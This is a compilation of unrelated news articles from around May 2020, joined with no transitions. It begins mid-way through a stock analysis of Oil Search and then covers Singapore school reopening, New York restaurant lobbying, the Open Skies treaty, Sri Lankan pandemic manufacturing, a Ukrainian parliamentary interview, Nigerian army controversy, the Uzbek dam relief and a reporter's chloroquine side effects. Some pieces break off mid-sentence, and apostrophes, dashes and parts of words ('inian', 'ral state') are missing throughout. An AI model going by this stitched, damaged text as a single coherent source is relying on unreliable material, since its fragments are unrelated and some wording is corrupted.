That means that the market expects Oil Search will outperform other companies in its industry. The market is optimistic about the future, but that doesn't guarantee future growth. So investors should always consider the P/E ratio alongside other factors, such as whether company directors have been buying shares.

How Growth Rates Impact P/E Ratios

P/E ratios primarily reflect market expectations around earnings growth rates. If earnings are growing quickly, then the 'E' in the equation will increase faster than it would otherwise. That means unless the share price increases, the P/E will reduce in a few years. A lower P/E should indicate the stock is cheap relative to others -- and that may attract buyers.

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Oil Search shrunk earnings per share by 8.5% last year. But it has grown its earnings per share by 51% per year over the last three years. And over the longer term (5 years) earnings per share have decreased 3.0% annually. So we might expect a relatively low P/E.

Remember: P/E Ratios Don't Consider The Balance Sheet

The 'Price' in P/E reflects the market capitalization of the company. Thus, the metric does not reflect cash or debt held by the company. In theory, a company can lower its future P/E ratio by using cash or debt to invest in growth.

While growth expenditure doesn't always pay off, the point is that it is a good option to have; but one that the P/E ratio ignores.

How Does Oil Search's Debt Impact Its P/E Ratio?

Oil Search's net debt is 66% of its market cap. This is enough debt that you'd have to make some adjustments before using the P/E ratio to compare it to a company with net cash.

The Bottom Line On Oil Search's P/E Ratio

Oil Search's P/E is 10.7 which is below average (14.9) in the AU market. When you consider that the company has significant debt, and didn't grow EPS last year, it isn't surprising that the market has muted expectations. What is very clear is that the market has become more optimistic about Oil Search over the last month, with the P/E ratio rising from 8.1 back then to 10.7 today. If you like to buy stocks that have recently impressed the market, then this one might be a candidate; but if you prefer to invest when there is 'blood in the streets', then you may feel the opportunity has passed.

When the market is wrong about a stock, it gives savvy investors an opportunity. As value investor Benjamin Graham famously said, 'In the short run, the market is a voting machine but in the long run, it is a weighing machine. So this free visualization of the analyst consensus on future earnings could help you make the right decision about whether to buy, sell, or hold.

Of course you might be able to find a better stock than Oil Search. So you may wish to see this free collection of other companies that have grown earnings strongly.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Students undergo temperature checks before entering school in Singapore. (PHOTO: Suhaimi Abdullah/Getty Images)

SINGAPORE  Education Minister Ong Ye Kung said that attending school is compulsory for students when schools reopen on 2 June as Singapore exits its COVID-19 circuit breaker period.

He said in a post on his Facebook page on Thursday (21 May) that unless there are specific concerns arising from medical conditions, his ministry cannot make attending school voluntary.

Ong was addressing some of the concerns of parents as schools are set to resume in two phases, amid a handful of community COVID-19 infections daily.

For the first phase, which is set to last a few weeks, primary and secondary students from graduating cohorts  Primary 6, Secondary 4 and 5  will attend school from Mondays to Fridays. Students from other cohorts  Primary 1 to 5 and Secondary 1 to 3  will rotate weekly between home-based learning (HBL) and returning to school for lessons.

In Phase 2, in tandem with the broader easing at the national level, possibly in a few weeks time, all students will return to school from Mondays to Fridays.

We cannot keep our children at home for so long: Ong

Addressing some parents concerns that they dont feel safe sending their children back to school, Ong gave three reasons why attending school is compulsory for students from 2 June.

First, it is likely that COVID-19 will stay with us for more than a year, and until a vaccine is available. We simply cannot keep our children at home for so long, he said in his Facebook post.

The impact on their socio-emotional and mental well-being will be serious. Having brought community transmission to a low and controlled level, we should resume school, reclaim a sense of normalcy, while taking many precautions.

Second, a voluntary system for parents is not good for the morale of both students and teachers. It segregates students into those whose families are able to provide care at home, and those who cant. Teachers will end up having to juggle between classroom teaching and facilitating HBL for every lesson, which is not sustainable.

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Lastly, keeping our children away from school does not guarantee that they will be safe from COVID-19 either. Family members have to go to work, and a large proportion of transmission to children has been from their family members.

How to make schools safe

Ong added that many countries have realised that schools cannot be closed indefinitely, and are making plans to reopen theirs, even though their number of community cases is much higher than Singapores.

He assured parents that schools will do their utmost to keep the students and staff safe.

We have a holistic system of safe management, comprising health screening for everyone entering the school, cohortisation of students, good hygiene practices and safe distancing, he said in his post.

By working together, exercising personal responsibility, plus maintaining high levels of personal hygiene and environmental cleanliness, our children can return to school in a safe manner.

Face shields for all pre-school, primary school students

Ong also addressed two other major concerns in his Facebook post. For young children who may have problems wearing a face masks for the whole day at school, Ong said they can wear either a face mask or a face shield when in school or on campus.

Schools will be arranging to distribute face shields to all pre-school and primary school students in Term 3, he said. Teachers will help the young children get used to the masks or shields with time. If there are special circumstances, teachers will also exercise flexibility.

As for parents going back to work on 2 June who have difficulty planning for childcare arrangements, Ong urged them to approach their childs school for assistance. He said that schools will be prepared to extended limited care to young students on HBL, but without childcare arrangements.

Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore

More Singapore stories:

Primary, secondary and pre-u students to return to school in 2 phases from 2 June

COVID-19: Among 448 new cases, 13 are S'poreans including family linked to Cochrane Lodge II dorm

COVID-19: 73-year-old man dies from coronavirus-linked cause, 23rd fatality in Singapore

COVID-19: Bangladeshi man makes further recovery, to move to community hospital
A lot of it depends on if Chicago is even going to be open at that time, she says. I know the governor has said they can reopen May 29. But it sounds like Lori Lightfoot is saying that might not be the case for all of Chicago. So Im not even sure the salon will be open, and I am not sure I am going to be ready to break social distancing at that time.
ALBANY  Two lobbying groups are asking the state to allow New Yorks restaurants and bars to begin serving in-house customers again during the second phase of economic reopening instead of two weeks later during the third phase, as is the case under the current state plan.

The New York State Restaurant Association and the Empire State Restaurant & Tavern Association base their requests on the federal Centers for Disease Controls Interim Guidance for Restaurants and Bars. The publication, distributed after New Yorks reopening timeline was created, offers multistep recommendations for gradual reopening, starting with limited bar and dining-room capacity and moving toward increasing capacity, with social distancing and strict training and cleaning regimens.

The federal plan would allow restaurant and bar reopening to start as each of New Yorks 10 economic zones reaches Phase 2, which at the moment has been reserved for banking/finance, insurance, real estate and in-store retail. Restaurants, bars and hotels are in Phase 3, while arts venues, recreation and education are in Phase 4.

Guide to restaurants still open during the coronavirus outbreak

Some of the best places to get takeout in the Capital Region

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There is a two-week period between the reopening of each phase. The first, covering construction, agriculture and manufacturing, began Wednesday in the Capital Region. Under the states timeline, provided health metrics related to the coronavirus pandemic continue to be met, local restaurants and bars would be allowed to reopen June 17, with capacity restrictions and other rules expected to be in place. The lobbying groups would like to see that pushed up to June 3, when Phase 2 reopenings are set to start locally.

NYSRAs proposal calls for outdoor dining only during Phase 2, with inside service to come later; ESRTA advocates in Phase 2 for all table-service dining areas to be limited to 50 percent capacity, bars to 25 percent, with bar patrons required to be seated. Capacities would expand in stages under both plans.

Our plan relies on guidance provided by the CDC and the FDA, so our plan for reopening restaurants and bars is based on science and facts, said Scott Wexler, executive director of the restaurant and tavern association. He said, It takes measured steps to loosen restrictions on restaurants and bars that take the necessary steps to protect the public health. And its consistent with (Gov. Andrew Cuomos) objective to open up businesses in a safe and smart way.

Were trying to get traction on outdoor dining to start with, said Melissa Fleischut, CEO of the New York State Restaurant Association. She noted that Connecticut began to allow outdoor dining at restaurants on Thursday.

In a follow-up statement, she added, "We are formally asking for expanded outdoor dining capabilities (and) an emphasis on social distancing requirements over capacity limits. ... Just about every restaurant in the state is teetering on the edge of financial hardship, and we need to do everything possible to keep them afloat."

Wexler and Fleischut said they have not received an official state response to their proposals. Albany County Executive Dan McCoy, who is a member of the Capital Region Control Room group that is leading local reopening efforts, said through a spokeswoman that he did not have a direct comment on the lobbying groups proposals. He said, I want to reopen our county and our region with public health and safety as a priority. A spokesman for Cuomos office did not immediately reply to a request for comment.

Area restaurateurs generally would like to be able to offer table and bar service again as soon as possible, to start to offset revenue losses that total $5.5 billion statewide since mid-March, according to NYRSA figures. But local owners said competing proposals and a changing timeline would be challenging in terms of hiring, training and ordering.

Id rather have one set date that we know we can work toward, said Matt Baumgartner, who owns three Capital Region locations of Wolffs Biergarten and the West Sand Lake bar and event venue June Farms. If it keeps changing, that makes reopening more difficult.

Vic Christopher, owner of the five-business Clark House Hospitality in Troy, said, A delay or series of delays would be easier to navigate than  start dates earlier than anticipated.
Source: Xinhua| 2020-05-22 04:14:04|Editor: huaxia

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MOSCOW, May 21 (Xinhua) -- Russia is awaiting clarifications from the United States on pulling out of the Treaty on Open Skies to form an attitude toward their position, Russian Foreign Ministry spokeswoman Maria Zakharova said Thursday.

"We did not receive official notifications or clarifications from our U.S. partners and colleagues. This is an international treaty, it has an implementation format, it has obligations of the parties that are fixed," Zakharova was quoted by RIA Novosti news agency as saying on Russia's Rossiya 24 broadcaster.

"In this regard, public statements, to put it mildly, are not enough for drawing conclusions regarding the intentions of the U.S. side," she added.

"In addition to public debate, in addition to public statements, there is the usual normal practice of observing agreements and treaties. There are mechanisms for their implementation, namely there is an appropriate commission where you can come and state your claims," Zakharova said.

Earlier in the day, U.S. President Donald Trump said the country is withdrawing from the treaty, the latest move to abandon a major international arms control agreement.

The treaty, which became effective in 2002, allows its states-parties to conduct short-notice, unarmed reconnaissance flights over the others' entire territories to collect data on military forces and activities.

Currently, 35 nations, including Russia, the United States, and some other members of the North Atlantic Treaty Organization, have signed it. Kyrgyzstan has signed but not ratified it yet.

Washington abandoned the Intermediate-Range Nuclear Forces Treaty with Moscow last year. Enditem
Phil May, who has died aged 75, was the singer and leader of the Pretty Things, one of the most prominent exponents in the British R&B boom of the early 1960s, which gave birth to groups such as the Rolling Stones and the Yardbirds.

The Pretty Things played a raw, visceral variation of R&B based on the recordings of American artists such as Jimmy Reed, Bo Diddley and Slim Harpo, who were the early heroes of May and the groups co-founder Dick Taylor.

Phil May of The Pretty Things appearing on Beat Club, Radio Bremen, Germany, 1966. Credit:Getty

But in an ironic counterpoint to their name, the group became as notorious for cultivating an image as pops favourite reprobates, fostering tabloid stories of outrage and unruliness. Their unkempt appearance and Mays shoulder-length locks  the longest haired man in Britain according to one newspaper  caused particular disapproval.

May was always ready with an appropriate riposte to further inflame sensibilities, remarking that people who stared at the band on the streets were just gawking ignorant plebs. It doesnt worry us at all. But what would worry us would be if people who do take care of their appearance start looking at us and making remarks. Then wed know something was wrong.
Gulabo Sitabo Trailer: Landlord Amitabh Bachchan Tries His Best To Get Rid Of Tenant Ayushmann Khurrana; Watch
Source: Xinhua| 2020-05-22 19:14:31|Editor: huaxia

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Researchers with the Sri Lanka Institute of Nanotechnology (SLINTEC), a public-private partnership based in Colombo, work in Colombo, Sri Lanka, May 13, 2020. The COVID-19 pandemic has spurred domestic innovation in Sri Lanka, with state-affiliated institutions leading the way in designing and manufacturing local solutions to combat the pandemic. The SLINTEC halted ongoing research and formed a 20-member task force of scientists and engineers to research anti-epidemic solutions such as face masks, hand sanitizers, and rapid test kits.(Photo by Heminda Jayaweera/Xinhua)

By Shiran Illanperuma

COLOMBO, May 22 (Xinhua) -- The COVID-19 pandemic has spurred domestic innovation in Sri Lanka, with state-affiliated institutions leading the way in designing and manufacturing local solutions to combat the pandemic.

Despite enforcing an early lockdown on March 20, ten days after the first domestic COVID-19 case, Sri Lanka faced bottlenecks in expanding testing to desired levels due to a shortage of equipment such as personal protective equipment (PPE) and test kits.

Sri Lanka Institute of Nanotechnology (SLINTEC), a public-private partnership based in the capital city Colombo, halted ongoing research and formed a 20-member task force of scientists and engineers to research anti-epidemic solutions such as face masks, hand sanitizers, and rapid test kits.

"The government needed enough PCR swabs to meet its target of 1500 tests a day but supply chains were disrupted due to the COVID-19 pandemic," SLINTEC Chief Operating Officer Heminda Jayaweera told Xinhua.

"Within about a week, our team reverse engineered these swabs and, in partnership with the private sector, formed a fully-fledged manufacturing process at one third the cost of imports," Jayaweera said.

"Sri Lanka has the knowhow for producing local alternatives to medical imports, and could even export. But scientists need patient investors and better access to production facilities," said Jayaweera.

SCALING UP

Lack of access to production facilities was an issue when the University of Peradeniya's Faculty of Engineering designed a simple helmet-like visor to protect frontline healthcare workers from contagious droplets amid a shortage of PPE.

The state-affiliated Ceylon German Technical Training Institute (CGTTI), an automobile technical training institute equipped with laser cutters and 3D printers, stepped in to produce 700 units in two days with a staff of about four people.

"We have a lot of experience with laser cutting and our institute has the technicians and capacity to produce local solutions. We have even produced a walkthrough disinfection unit which was installed at the Ministry of Labour premises," CGTTI Chairman Vinod Moonesinghe said.

"COVID-19 has shown us the necessity to build domestic manufacturing capability. That means not only expanding production facilities but also developing a chain of local parts and materials suppliers," said Moonesinghe.

SUPPORTING LOCAL INVENTORS

Difficulty in accessing materials and supplies during the height of global lockdowns was also cited as a challenge for local production by Commissioner of the Sri Lanka Inventors Commission (SLIC) Prof. Rangika Halwatura.

Since March 23, the SLIC has collected 350 new inventions, including low-cost alternatives to imported medical equipment such as video laryngoscopes, ventilated PPE suitable for tropical climes, and natural herbal face masks.

"We first approached local hospitals to find out their requirements, and then invited engineers and scientists to provide solutions, with the best prototypes being trialed at local hospitals," Halwatura said.

"We provide grants for building prototypes and assist in patent applications, but our inventors faced a few challenges in finding suppliers for parts and materials," he added.

"Sri Lanka has innovative thinkers, we just need better facilities and local suppliers to complete the package. Luckily, I think COVID-19 has made investors see the need to back domestic innovation." Enditem
The free trade pact with the EU is expected to open an expressway connecting Vietnam with a $15 trillion market, and it is fee-charging, says National Assembly delegate Vu Tien Loc.

Loc, a representative of Thai Binh Province, explained "fee" as investment by the government in upgrading the infrastructure, institutions and quality of human resources.

"From enterprise perspective, 'fee' comes from the management improvement, investment in changing supply and production chains, thereby meeting the rules of origin requirements of the agreement," he said at the National Assembly session Wednesday.

Vu Tien Loc at the National Assembly on May 20. Photo by VnExpress/Tran Giang.

Delegate Truong Trong Nghia, who represents Ho Chi Minh City, noted two big issues for Vietnam to take advantage of the EU-Vietnam Free Trade Agreement (EVFTA).

"First of all, Vietnam must attain a certain development step in the industrial revolution 4.0, digital economy, artificial intelligence. In addition, the economy must have the capacity to face non-traditional risks like Covid-19," he said.

Nghia noted that when the pact comes into effect, it will "start a race, not a party". "Vietnam can get stuck in the middle income trap. Under this scenario, others enjoyed the party and we bear the debt."

He proposed the institutional changes and upgrading in infrastructure and human resources to adapt to the "new game".

Vu Tien Loc, also chairman of the Vietnam Chamber of Commerce & Industry (VCCI), suggested to accelerate the process of amending and adjusting the legal documents. He cited an example of the Trans-Pacific Partnership (CPTPP) agreement, which has been in force for more than a year but its documents on implementation regulations have so far delayed.

Loc said the government needs to accelerate economic restructuring as well as movement of labor and population to cope with unexpected changes from the EVFTA.

The EVFTA is the E.U.s second deal with an ASEAN country, after Singapore, and one of very few it has signed with developing countries.

With the European Parliament having voted in favor of the pact in February, it will become effective a month after Vietnam lawmakers ratify the deal.

Vietnamese lawmakers are scheduled to ratify the landmark deal and the EU-Vietnam Investment Protection Agreement (EVIPA) on June 8.
Rivers state Governor Nyesom Wike has said that about 60% of Coronavirus cases recorded in the state have a career in the oil sector.

The Rivers state Governor said that some of the cases recorded in state are oil workers returning from rigs. The Governor said this in a meeting with the management team of Mobil Producing Nigeria Unlimited at the Government House on Wednesday May 20, and he blamed the increased number of COVID-19 cases in the state on un screened oil workers.

Governor Wike also insisted that his actions were not targeted at anybody or organisation as oil remained the mainstay of the economy. He further recalled how 3 out of 14 oil workers who were quarantined in the state, tested positive for Coronavirus.

The Governor said;
Open source

Verkhovna Rada has begun its work in normal mode, do you feel a return to a normal, quarantine life?

Unfortunately, not yet, just like the whole country, we have not yet exited from the lockdown. On the one hand, Verkhovna Rada did not have quarantine  we continued our work (May 20, Verkhovna Rada went on quarantine, because one of the MPs was infected, - ed.) We held less plenary meetings, but every week we had one or even two or three. More work was done in the committees; important bills related to the fight against coronavirus were developed. Here I should once more say words of gratitude to the apparatus, Ukrainian MPs, who did their job quite effectively. They put aside politics, especially at the first stage, when everyone understood the challenges that the coronavirus poses, they really worked hard.

Today at a press conference we saw another scandal with tapes of Derkach, recordings of private phone calls several years ago between Vice President Joe Biden and Petro Poroshenko. How do you perceive this precedent today and mentioning of your name in this context?

Unfortunately, I did not have the opportunity to watch the whole broadcast. But the information is impressive. And the information itself and from which cabinets it may have come from. As for the information about me, then, fortunately, or unfortunately, legislative initiatives from Ukrainian MPs are more than enough. Its impossible to work out everything, but I think that as the chairman of the Verkhovna Rada, it will be wrong for me to react to all my colleagues exclusively to such demands of individual MPs. When we see that there is support and there is an opportunity to consider the initiatives of the MPs, we will certainly do this within the framework of the regulations and current legislation.

How should the inian law enforcement system respond to Derkach tapes?

In my opinion, the law enforcement system should respond 100%. Special services must also respond. Because if it really is true, then this was done in large offices. How did this information get to, where did it come from? But these are secondary issues. The main question for me as a person, as a citizen, is whether it corresponds to reality. If true, then the consequences should be more than harsh, as there are many questions (more than answers) in relation to these films. There is already an initiative in parliament to create a special commission related to the assessment and consideration of issues that were raised during this press conference and were media-announced. While it is not documented, but it seems to me that it will be continued.

A lot of discussion in society arises around some resonant affairs. Do you plan to call to communicate with Prosecutor General Iryna Venediktova to report on high-profile cases?

Hearing the attorney general can be in several ways. Including communication or report on committees. As far as I know, Iryna Venediktova was invited to certain events. Unfortunately, I do not control whether it comes or not, but I hope this happens more or less. If we are talking about the report of the Prosecutor General within the walls of Verkhovna Rada, this is not planned yet. I know that there are initiatives of individual MPs, individual factions to seriously criticize the prosecutor general - this is their right.

Does Verkhovna Rada plan to support the current governments action program?

I cant say whether the entire parliament will support the governments action program. And what kind of government action program is also a question. Today the Cabinet proposed a project, submitted to the Verkhovna Rada and passed part of the committees. There were 12 committees as of yesterday. Unfortunately, it was decided to return this document for revision. In fairness, I must say that they introduced their program as soon as they arrived, the coronavirus began, and there were many other tasks and challenges that faced Prime Minister Shmygal and other members of the government. Therefore, we will proceed from the fact that, most likely, the draft program proposed will require additional refinement, and then BP will make an appropriate decision.

I would like to hear your position regarding the actions of the Ministry of Health.

If we are talking about evaluating the activities of the medical sector, it will be difficult to unequivocally answer the question. If we talk about our doctors who save lives today, they are doing more than they can. I think that they work at 110%. And if we talk about officials, then I think that the figure will still be less. However, it will be possible to give a real assessment of the fact that we have passed and will continue to take place, given the coronavirus crisis, only later, after some time, given what this difficult period of our states life will really end with. Comparing with the results that we have, and what we observed in many countries of Europe, the USA, Ukraine comes out quite well from this situation. Once again, I would like to thank the doctors.

Tell us more about the ral state of the Ukrainian medical system and the ess of the medical reform, please.

Today, speaking about this issue, I just cannot call it a success. Like any event, there are positive things, but if you ask people, I dont think that the ratings will be very positive. What will depend on the parliament in order to make healthcare system better, in order to protect our doctors, in order to introduce those positive reforms that will really change the reform of medicine, in the best direction, we will definitely do it. However, this is a joint process, and without the Cabinet, without a specialized ministry, it will be difficult to achieve it. If we are talking about some results and consequences of the so-called reform, then Mykhailo Radutsky and the ministers spoke a lot about this, that we do not even have statistics. At one time it was canceled. And comparing the incidence rate with previous years is quite difficult today.

Active discussions on the dual citizenship bill in Ukraine took place. Could you explain your position on this bill?

It was decided to subject this bill to additional discussion. At the conciliation council, many MPs came forward with reservations on the bill. If we are talking about today's realities, that is, the norms enshrined in the Constitution, and if we someday take this path, then this must be done correctly. And the right way is to amend the Constitution. Im not sure that today's society is 100% ready for this. And in order to explain this, there must be a sufficiently deep, broad, and informational campaign, including a campaign, in order to destroy all the myths that exist, because there are so many of them around this process today and show the positive that exists.

One of the key claims to the bill is that MPs are excluded from the list of people who are forbidden to have a second passport.

I think that neither MPs, nor officials, nor those who are making public policy or implementing reforms should have two or more passports.

Are you going to participate in the mayoral elections in Kyiv?

If we talk about mayoral ambitions, then I do not have them. I am more than satisfied with the work that I do today. I hope that I will do it efficiently and successfully fulfill my functions. Today there are enough candidates for mayoral elections: both from representatives of the majority and from representatives of opposition forces. In this case, Id better act as just a voter.

Do you have any favorites?

Like any person, I will also have people for whom I will be ready to vote.

Mr. Reznikov urges MPs of different factions to join the work. Will we see reinforcement, new impulses,and a push in the Minsk process, in the parliamentary dimension?

- Today there are representatives of the parliament in the TCG (Trilateral Contact Group). If we are talking about an official appeal to the parliament to delegate certain representatives, then no such proposals have been received from the Office of the President yet. If we are talking about the delegation of representatives of parliamentary factions and groups, which Oleksiy Reznikov spoke about, then each faction will independently decide it based on its civil and political position. To date, no such addresses have been received by the Verkhovna Rada.

-What is your opinion: should the parliament even participate in this negotiation process?

Today state, in fact, is involved in this process. It is necessary to participate in any process if this allows returning the temporarily occupied territories of Crimea and ending the war and returning the temporarily occupied territories of Donbas.

Tomorrow will have been a year since Volodymyr Zelensky became president. He promised that the first bill he would submit to the Verkhovna Rada would be a referendum bill. It did not become the first, but now they are working on it. Mr. Stefanchuk said that soon the referendum bill would be put for voting in the session hall.

The text of this bill already exists. It was sent to various international organizations. Now it is directed to the Venice Commission. I hope that it will return soon with suggestions or comments. It was also sent to the Swiss Confederation because it is actually a model of national and local referendums and a good example of democracy. After that, this bill will be submitted to the Verkhovna Rada. As far as I understand, this will be the initiative of the president of the country.

Can you tell us the timelines?

The main issue now is the return of the bill from the Venice Commission. I hope that before the holidays we can begin to consider it.

When, in your opinion, can the first referendum according to this bill take place in Ukraine?

The question here is not when, but the question of what will be the subject in it. I think this is a more important issue.

What issues would you put up?

There are more than enough issues in which it would be necessary to share an opinion and understand the position of the Ukrainian people. Therefore, I would use this mechanism.

It is good when consider the recommendations of the Venice Commission because we can also selectively choose them. These recommendations are not mandatory, so we can either listen to them, or not. For example, it was like this with the law on education,. But when we receive bills with IMF visas that are not satisfied with the final version, it is not a happy event at all.

Which ones are you talking about? I have not seen laws that would return to us with IMF visas.

We are talking about the market law. You remember the reaction of the IMF.

There may be a reaction, but there are definitely no visas there.

Nobody put visas directly on the document, but the comments were such that it was difficult for the independent state to take in. The factions have different positions on further cooperation with the IMF. In the mono-majority, they are diametrically opposite. What are the prospects for further cooperation and this banking law?

Today, resolutions, which did not allow sending this banking law to the President of Ukraine, were rejected. In the near future, this law will be sent to the president for signature and the president will make a decision. As for the Verkhovna Rada, I think that the Verkhovna Rada of Ukraine will remain what it is and will work in the interests of Ukrainian society.

When the adoption of a banking bill was discussed, the amendments to the parliaments regulations were adopted. They were rumored to be temporary and that Verkhovna Rada would later pass a bill that would set these time frames. When is this planned?

Indeed, it was Law #1043, in fact, it is one of the first laws considered by the Verkhovna Rada, and between the first and second readings it remained under consideration of the committee. We proceeded from the opportunities there were at that time. It was adopted and there was a public agreement that immediately after it enters into force (because we could not amend it), a bill will be registered that slightly changes the essence of the bill: the number of amendments increases, a more correct and limited mechanism of for submitting amendments and proposals from Ukraines MPs is applied and it that it will be temporary. Such a bill was introduced to the Verkhovna Rada. Unfortunately, this decision is not made personally by me, but the Verkhovna Rada will make this decision, and this week it will be considered in the first reading.

We are very grateful to you that despite a very busy schedule, you have found the opportunity to come to our studio.
A Slate Belt procession Monday will go through two boroughs and visit several cemeteries to honor fallen service members.

Groups from Bangor and Roseto will begin the procession at 10 a.m. Monday from Bangor Veterans Memorial Park.

Members of the Blue Valley Rescue Squad, Rosetos Columbia Fire Co., Bangors fire companies and the American Legion will lead a procession of trucks and cars from the park down Broadway to St. Johns Cemetery near South Fifth and South Sixth streets in Bangor.

At the cemetery, there will be a 21-gun salute, a performance of taps, the singing of the national anthem and a prayer.

The procession will then head to Roseto, to the Roseto Presbyterian Cemetery on Liberty Avenue and then Our Lady of Mount Carmel at 560 N. Sixth St.

Columbia Fire Chief Michael Goffredo said the idea is to honor Memorial Day while maintaining a safe atmosphere for the residents amid the continuing coronavirus pandemic.

Were going to go to the various cemeteries and be keeping our distance, Goffredo said.

People are invited to join the procession at the cemeteries or stand on their porches to show support as the procession drives past.

Another Slate Belt community, Upper Mount Bethel Township, is hosting a reverse Memorial Day parade from noon to 2 p.m. Monday outside the township municipal building at 387 Ye Olde Highway. Members of the public are invited to drive by participants gathered to show their respects to those veterans who gave all.

John Best is a freelance contributor to lehighvalleylive.com. Find lehighvalleylive.com on Facebook.
Nnamdi Kanu, leader of the outlawed Indigenous People of Biafra (IPOB), has thrown mud at the Nigerian Army saying the military only g...





Nnamdi Kanu, leader of the outlawed Indigenous People of Biafra (IPOB), has thrown mud at the Nigerian Army saying the military only gets the muscle to attack civilians but becomes inefficient when faced with an armed opponent.





The IPOB leader posted the comment on his Facebook page alongside a trending video (see video below) showing some Nigerian soldiers cursing the Chief of Army Staff, Tukur Buratai.





Kanu claims Buratai is currently in Niger Republic and has blamed the 59-year-old Army general of abandoning soldiers to be killed by Boko Haram.





Come and hear #ZooNigeria Soldiers crying like little babies in soiled nappies because they encountered a group of bandits, Kanu wrote. These are the cowards that jumped my fence into my compound on 14 September 2017 shooting and killing unarmed civilians.

The IPOB leader added: Look at the shame of an army they think can stop an armed IPOB when the time comes later this year. See how the COWARDS are crying and cursing Buratai. The only time you see Nigeria army boasting and displaying their might is when they are killing and raping unarmed civilians. In battle against armed opponents they are nothing, absolute rubbish.

Meanwhile, as regards the said trending video, the army has issued a statement confirming that the incident did occur and that the soldiers involved have been identified and would undergo observation and counselling.





In a statement it said troops ran into Improvised Explosive Devices (IEDs) planted by the terrorists.





The ambush occurred eight kilometers ahead of Buni Gardi, in Gujba Local Government Area of Yobe State on May 18, 2020, it said.





Two soldiers paid the supreme price and three other soldiers sustained injuries as a result of the IED explosion.





Additionally, a recovery truck, one troop-carrying vehicle and a water tanker that ran into the IED were destroyed by fire. Three terrorists were neutralised while an unconfirmed number escaped with various degrees of injury, the Army added.





Watch the video below:








BAKU, Azerbaijan, May 22

By Ilkin Seyfaddini - Trend:

The Uzbek government has allocated $100 million to build housing and restore infrastructure of Syrdarya region, Trend reports with reference to Uzbek Ministry of Justice.

On May 22, 2020, the president of Uzbekistan adopted a resolution on financing measures to provide targeted support to citizens affected by the emergency incident at the dam of the Sardoba reservoir and the restoration of infrastructure. The document provides equivalent of $100 million to the state budget from the Fund for Reconstruction and Development on a non-refundable basis, the ministry said.

In particular, the funds are allocated to Ministry of Water Management for restoration of destroyed irrigation and reclamation facilities; to Ministry of Transport - for construction, reconstruction and repair of road transport infrastructure; to Ministry of Housing and Communal Services - for construction and reconstruction of drinking water and sewage systems; and to the local budget of Syrdarya region - for construction of apartment houses.

Furthermore, Ministry of Public Education, the Ministry of Preschool Education and the Ministry of Health are provided with funds for the construction, reconstruction and overhaul of social facilities.

The Cabinet of Ministers has been given corresponding instructions. It is tasked to submit a proposal to optimize budget funds up to 1.1 trillion soum ($98.4 million), provided for in the program of development of social and industrial infrastructure of the country.

On May 1, 2020, heavy rains caused a Sardoba dam wall nearby the districts to collapse partially, flooding a large land area. As a result of the emergency accident, 2,570 individual and 76 apartment buildings in Sardoba, Akalty and Mirzaobod districts were destroyed.

Furthermore, 1,781 individual houses and 52 multi-storey houses were partially flooded. Approximately 70 social, production and service facilities, about 20,000 hectares of agricultural land, 828 kilometers of roads, electricity, gas and water supply networks, and communication lines were damaged.

About 90,000 residents of Sardoba, Akalty and Mirzaobod districts were evacuated to safe areas.

---

Follow author on Twitter: @seyfaddini
Canadian Prime Minister Justin Trudeau called it an interesting idea and said there were important issues to be discussed. Well certainly take a look at what the U.S. is proposing . . . to see what kinds of measures will be in place to keep people safe, what kind of recommendations the experts are giving in terms of how that might function, Trudeau said.
Nollywood actress Empress Njamah has landed in the hospital.

The veteran actress took to her page to advise people to stop procrastinating about their health and go for medical checkup.

According to the actress she procrastinated so much and allowed pain in her back linger for so long and now she has ended up in a hospital.

Read Also: You Are Not Important  Troll Slams Empress Njamah After Rita Dominic Failed To Invite Her To Her Party

Advertisement

Empress wrote;

STOP PROCRASTINATING.CHECKUPS ARE VITALno more workouts for me for nowI LET THE BACK PAIN LINGER FOR LONG.

https://www.instagram.com/p/CAdakzTD_U9/?utm_source=ig_web_copy_link
Chloroquine, a similar drug to hydroxychloroquine, has some uncomfortable side effects, as one reporter found out.

US President Donald Trump was, in his typical fashion, blunt at a press briefing on Monday.

He rather proudly told everyone assembled that he was taking a drug, untested for COVID-19, called hydroxychloroquine.

Ive been taking it for the last week and a half. A pill every day, the president said.

This, despite his own governments Food and Drug Administration (FDA) issuing warnings about the medication.

When I read Trumps comments I was alarmed. That is because my own experience with a similar anti-malarial drug, chloroquine, was  not good.

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The year was 2001. I was due to fly to Morocco to do a story on prisoners and human rights violations. I had a couple of weeks to prepare and, as is standard practice, I visited my GP to get a check up and find out if there were any vaccinations I might need.

As she peered over her reading glasses at me, she opened up a book that she seemed to treat as gospel.

My doctor then decided I needed anti-malarial treatment. Since she was a health professional recommended by several of my then-colleagues who travelled regularly, I was happy to follow her advice.

After a few moments pause, she settled on chloroquine.

Chloroquine is the drug from which hydroxychloroquine is derived. They both work in a similar way to treat disease, but hydroxychloroquine has additional molecules added to it, which make it safer to use to minimise the side effects. Both drugs, however, should only be taken on the advice of a trained medical professional as they both have the potential to cause serious harm if not taken under supervision.

My doctor instructed me to take a tablet once a week, every week for two weeks, before entering a malarial zone, and then for eight weeks after.

I was alarmed at the sheer amount of time commitment the drug required, but I thought it was better to be safe than sorry.

Like hydroxychloroquine, chloroquine is an anti-malarial. In 2001 the internet was not as easily available as it is today, and any further research into it needed a library. So I was happy to trust my doctor.

If any side effects make you uncomfortable stop taking it, were her last words to me before I left her consultation room that day. I picked up my prescription from the chemist. I popped my pill.

That, I thought, was that.

It was not.

Within a few hours, I was suffering from nausea and itching. At this stage, I thought it would pass. But the symptoms remained sporadic and would flare up throughout the next couple of weeks.

After I left Morocco, I kept taking the drug as prescribed. Things went further downhill.

I began to suffer from depression and wild dreams. I spoke to others who had taken similar anti-malarial drugs and they described much the same symptoms. In the end, things got so bad with the side effects that I went back to my doctor who recommended I stop taking it.

200326055608185

Clearly, this was my personal experience with the drug, and I may have had specific underlying conditions that contributed to the effect it had on me.

But over the years I have spoken to several travelling reporters about their experiences with anti-malarial drugs like chloroquine. No one seems to have had a great experience. Like many others, I simply do not take them any more, even for the disease they are specifically prescribed for.

